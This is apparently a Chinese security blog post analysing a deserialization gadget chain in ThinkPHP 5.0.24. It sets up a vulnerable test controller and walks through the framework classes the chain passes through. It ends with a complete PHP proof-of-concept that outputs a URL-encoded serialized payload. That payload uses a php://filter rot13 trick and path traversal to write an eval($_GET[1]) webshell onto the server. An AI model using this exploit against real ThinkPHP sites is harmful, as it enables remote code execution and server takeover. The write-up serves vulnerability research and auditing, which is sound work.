因为在审计某cms的时候遇到了,所以就再来学习一下
环境搭建
我这里是用phpstorm配合ubuntu虚拟机进行远程调试
直接使用composer安装
1
| composer create-project --prefer-dist topthink/think=5.0.24 tp5
|
composer.json里为
1 2 3 4
| "require": { "php": ">=5.6.0", "topthink/framework": "5.0.24" },
|
如果版本不对,修改一下,然后执行命令即可
然后自己搭建一个漏洞环境

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| <?php namespace app\index\controller; use think\Controller;
class Index extends Controller { public function index() {
} public function test(){ $pop=request()->get("pop"); unserialize($pop); return "pop!"; }
}
|
访问路由为
1
| http://192.168.91.39:8084/public/index.php/index/Index/test
|

POP链分析
对于路由那些我就不做解释了,具体的可以去看官方手册
Windows::__destruct()
thinkphp5.0.24总共就4个__destruct()函数

这里使用thinkphp/library/think/process/pipes/Windows.php::__destruct()来作为链子的起点
1 2 3 4 5
| public function __destruct() { $this->close(); $this->removeFiles(); }
|
跟进removeFiles()
1 2 3 4 5 6 7 8 9 10 11 12
|
private function removeFiles() { foreach ($this->files as $filename) { if (file_exists($filename)) { @unlink($filename); } } $this->files = []; }
|
Model::__toString()
这里的file_exists()是可以触发__toString()的,且$this->files是可控的,我们只需要找到能调用__toString()的类即可

选用thinkphp/library/think/Model.php::__toString(),但是因为Model是抽象类,所以真正执行pop的时候,就需要使用其子类,其子类可以使用thinkphp/library/think/model/Pivot.php
1 2 3 4
| public function __toString() { return $this->toJson(); }
|
跟进toJson()
1 2 3 4 5 6 7 8 9 10
|
public function toJson($options = JSON_UNESCAPED_UNICODE) { return json_encode($this->toArray(), $options); }
|
继续跟进toArray(),这里存在可以触发链子下一步的代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45
|
public function toArray() { .............
if (!empty($this->append)) { foreach ($this->append as $key => $name) { if (is_array($name)) { $relation = $this->getAttr($key); $item[$key] = $relation->append($name)->toArray(); } elseif (strpos($name, '.')) { list($key, $attr) = explode('.', $name); $relation = $this->getAttr($key); $item[$key] = $relation->append([$attr])->toArray(); } else { $relation = Loader::parseName($name, 1, false); if (method_exists($this, $relation)) { $modelRelation = $this->$relation(); $value = $this->getRelationData($modelRelation); if (method_exists($modelRelation, 'getBindAttr')) { $bindAttr = $modelRelation->getBindAttr(); if ($bindAttr) { foreach ($bindAttr as $key => $attr) { $key = is_numeric($key) ? $attr : $key; if (isset($this->data[$key])) { throw new Exception('bind attr has exists:' . $key); } else { $item[$key] = $value ? $value->getAttr($attr) : null; } } continue; } } ............. } } return !empty($item) ? $item : []; }
|
这里会先foreach $this->append的值,且$this->append的值是可控的,所以我们需要将$this->append的值赋值为数组类型,最后会执行到else {语句里
他先判断本类中是否存在这个方法,并调用这个方法获取返回值,最后将获取的返回值传入$this->getRelationData()
然后再将$this->getRelationData($modelRelation)的值赋给$value
我们需要使用这个$value来触发pop链的下一步,因为在最下面有个$value->getAttr($attr),利用这个来触发thinkphp/library/think/console/Output.php类的__call()魔术方法。而这个的$value的值是在$this->getRelationData()赋值的。所以先看这个函数
要进入这个函数,我们需要让传进去的参数$modelRelation可控
可以让relation的值为getError,即$this->append=['1'=>'getError']。从而调用这个方法,来返回我们可控的值
1 2 3 4 5 6 7 8 9
|
public function getError() { return $this->error; }
|
然后跟进getRelationData()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
|
protected function getRelationData(Relation $modelRelation) { if ($this->parent && !$modelRelation->isSelfRelation() && get_class($modelRelation->getModel()) == get_class($this->parent)) { $value = $this->parent; } else { if (method_exists($modelRelation, 'getRelation')) { $value = $modelRelation->getRelation(); } else { throw new BadMethodCallException('method not exists:' . get_class($modelRelation) . '-> getRelation'); } } return $value; }
|
这段代码可以知道,传入的参数需要是Relation类的对象,但因为Relation类是一个抽象类,所以我们传入的参数需要为他的子类。这里使用的是thinkphp/library/think/model/relation/HasOne.php


所以我们传入的参数为HashOne的对象
接下来,他会做出如下判断,我们需要同时满足才能成功让$value赋值
1
| if ($this->parent && !$modelRelation->isSelfRelation() && get_class($modelRelation->getModel()) == get_class($this->parent)){}
|
首先判断$this->parent是否存在,再执行$modelRelation->isSelfRelation(),要求其返回值为false
1 2 3 4 5 6 7 8 9
|
public function isSelfRelation() { return $this->selfRelation; }
|
然后执行get_class($modelRelation->getModel())且结果需要和get_class($this->parent))的值相同
跟进$modelRelation->getModel()
1 2 3 4 5 6 7 8 9
|
public function getModel() { return $this->query->getModel(); }
|
他会继续执行一个getModel(),这里的$this->query可控
上文写到$this->parent的类是Output,所以我们要找一个类的getModel()方法能够返回可控的值
这里找到的是thinkphp/library/think/db/Query.php类
1 2 3 4 5 6 7 8 9
|
public function getModel() { return $this->model; }
|
所以为了成功赋值,我们通过以下步骤
- 传入
$modelRelation参数为HasOne类的实例
$this->parent的值为Output类的实例
!$modelRelation->isSelfRelation()的值为true
$modelRelation参数里成员query的值为Query类的实例
Query类的实例中,model的值为Output类的实例
到后面也有个判断,就是要让$modelRelation->getBindAttr()返回有值,随便设置一个值即可
OneToOne类的getBindAttr方法
1 2 3 4 5 6 7 8 9
|
public function getBindAttr() { return $this->bindAttr; }
|
Output::__call()
最后走到$value->getAttr($attr),来触发Output类的__call魔术方法

跟进他的__call()方法
1 2 3 4 5 6 7 8 9 10 11 12 13
| public function __call($method, $args) { if (in_array($method, $this->styles)) { array_unshift($args, $method); return call_user_func_array([$this, 'block'], $args); }
if ($this->handle && method_exists($this->handle, $method)) { return call_user_func_array([$this->handle, $method], $args); } else { throw new Exception('method not exists:' . __CLASS__ . '->' . $method); } }
|
在链子走到这里的时候,传入的$method值为getAttr,$args的值为上面getBindAttr()返回的数组元素
我们可以控制让$this->styles里的值有getAttr,然后就会通过call_user_func_array执行这个类的block()方法
1 2 3 4 5
| protected function block($style, $message) { $this->writeln("<{$style}>{$message}</$style>"); }
|
跟进writeln()
1 2 3 4 5 6 7 8 9
|
public function writeln($messages, $type = self::OUTPUT_NORMAL) { $this->write($messages, true, $type); }
|
跟进write()
1 2 3 4 5 6 7 8 9 10
|
public function write($messages, $newline = false, $type = self::OUTPUT_NORMAL) { $this->handle->write($messages, $newline, $type); }
|
这里可以控制$this->handle的值来调用另一个类的write()方法
这里选择调用thinkphp/library/think/session/driver/Memcached.php类的write()方法,所以将$this->handle赋值为thinkphp/library/think/session/driver/Memcached.php类的对象
解释一下为什么要这样做。我们最终是要调用到thinkphp/library/think/cache/driver/File.php::set()方法,所以只要找到一个类write()方法能够控制对象调用set()方法即可
1 2 3 4 5 6 7 8 9 10 11
|
public function write($sessID, $sessData) { return $this->handler->set($this->config['session_name'] . $sessID, $sessData, $this->config['expire']); }
|
这里的$this->handler也是可控的,将其赋值为thinkphp/library/think/cache/driver/File.php类的对象来调用File类的set()方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35
|
public function set($name, $value, $expire = null) { if (is_null($expire)) { $expire = $this->options['expire']; } if ($expire instanceof \DateTime) { $expire = $expire->getTimestamp() - time(); } $filename = $this->getCacheKey($name, true); if ($this->tag && !is_file($filename)) { $first = true; } $data = serialize($value); if ($this->options['data_compress'] && function_exists('gzcompress')) { $data = gzcompress($data, 3); } $data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data; $result = file_put_contents($filename, $data); if ($result) { isset($first) && $this->setTagItem($filename); clearstatcache(); return true; } else { return false; } }
|
接下来就是写入webshell的阶段了,可以发现,传入的值只有$value不可控,因为在最开始调用__call()的时候就没传值进去,所以传进来的$value值为空。其余两个的值,都是可以自己设置的
通过file_put_contents($filename, $data)来写入webshell,在写入之前,通过$this->getCacheKey($name, true)来对$filename做了处理
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
|
protected function getCacheKey($name, $auto = false) { $name = md5($name); if ($this->options['cache_subdir']) { $name = substr($name, 0, 2) . DS . substr($name, 2); } if ($this->options['prefix']) { $name = $this->options['prefix'] . DS . $name; } $filename = $this->options['path'] . $name . '.php'; $dir = dirname($filename);
if ($auto && !is_dir($dir)) { mkdir($dir, 0755, true); } return $filename; }
|
简单来说,就是在不设置$this->options['cache_subdir']和$this->options['prefix']的情况下,返回的文件名为$this->options['path']的值拼接$name的值,再拼接 .php
那么到了写文件的地方,我们文件内容不可控,只能控制文件名,这有啥用??不急,再往后看下面的代码
如果写入文件执行成功,那么他会执行$this->setTagItem($filename)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
|
protected function setTagItem($name) { if ($this->tag) { $key = 'tag_' . md5($this->tag); $this->tag = null; if ($this->has($key)) { $value = explode(',', $this->get($key)); $value[] = $name; $value = implode(',', array_unique($value)); } else { $value = $name; } $this->set($key, $value, 0); } }
|
简单解释一下,在$this->has($key)返回为false的情况下,会将$name的值赋给$value,并再次执行一次set()方法
$this->has()就是查看是否有缓存,而我们第一次执行这个payload的时候,都是没有缓存的,所以可以默认为返回false
然后取'tag_' . md5($this->tag)的值作为传入set()方法的$name参数
看,在这里,我们再次执行set()方法,执行到file_put_contents的时候,其写入的内容就是我们第一次调用set()方法时传入的$name参数,即使前面有一步$data = serialize($value);,但是只要有<?php ?>标签,就可以执行php代码
那么接下来就还有个阻碍,我们写入的文件内容是这样拼接上去的
1
| $data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
|
为了将exit()给去掉,我们可以使用php伪协议,来绕过exit(),具体原理可以看下面的文章
https://www.leavesongs.com/PENETRATION/php-filter-magic.html
https://xz.aliyun.com/t/7457?time__1311=n4%2BxnD0G0%3Dit0QDkDcnDlhjmPxYTvBEOxgEbD
https://www.anquanke.com/post/id/202510#h3-5
这里使用rot13来进行绕过,在不开启短标签的情况下,就可以正常执行webshell
如果将$options[‘path’]设置为php://filter/string.rot13/resource=<?cuc @riny($_TRG[1]);?>
那么在生成webshell的时候,文件名就会为

本地测试无法访问

所以可以通过在文件名后面使用路径穿越来重命名webshell,使其文件名不会出现其他字符
所以将$options[‘path’]设置为php://filter/string.rot13/resource=<?cuc @riny($_TRG[1]);?>/../a
那么在第二次写文件的时候,就会执行下面的代码
1
| file_put_contents('php://filter/string.rot13/resource=<?cuc @riny($_TRG[1]);?>/../axxxxxxx.php',xxxxxxx')
|
生成的文件名就是axxxxxxx.php
这样就行正常访问了


POC
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120
| <?php namespace think\process\pipes { use think\model\Pivot; class Windows { private $files=[];
public function __construct($files) { $this->files= [$files]; } } } namespace think { abstract class Model{ protected $append =[]; protected $error = null; public $parent;
function __construct($error, $parent) { $this->error = $error; $this->parent = $parent; $this->append = array('1'=>'getError'); } } } namespace think\model { use think\Model; class Pivot extends Model {
public function __construct($error,$parent) { parent::__construct($error,$parent); } } }
namespace think\model\relation{ class HasOne extends OneToOne {
} } namespace think\model\relation { abstract class OneToOne { protected $query; protected $bindAttr=[]; protected $selfRelation;
public function __construct($query) { $this->query = $query; $this->bindAttr=['x']; $this->selfRelation=false; }
} }
namespace think\db{ class Query{ protected $model; public function __construct($model) { $this->model = $model; } } }
namespace think\console{ class Output{ private $handle; protected $styles; function __construct($handle) { $this->styles = ['getAttr']; $this->handle =$handle; }
} } namespace think\session\driver{ class Memcached{ protected $handler; public function __construct($handle) { $this->handler = $handle; } } }
namespace think\cache\driver { class File { protected $options = [ 'path' => 'php://filter/string.rot13/resource=<?cuc @riny($_TRG[1]);?>/../a', 'cache_subdir'=>"", 'prefix'=>"", 'data_compress'=>"" ]; protected $tag;//最后 public function __construct() { $this->tag="aaa"; } } } namespace { $File=new think\cache\driver\File(); $Memcached=new think\session\driver\Memcached($File); $Output=new think\console\Output($Memcached); $Query=new think\db\Query($Output); $HashOne=new think\model\relation\HasOne($Query); $Pivot=new think\model\Pivot($HashOne,$Output); $Windows=new think\process\pipes\Windows($Pivot); echo urlencode(serialize($Windows));
}
|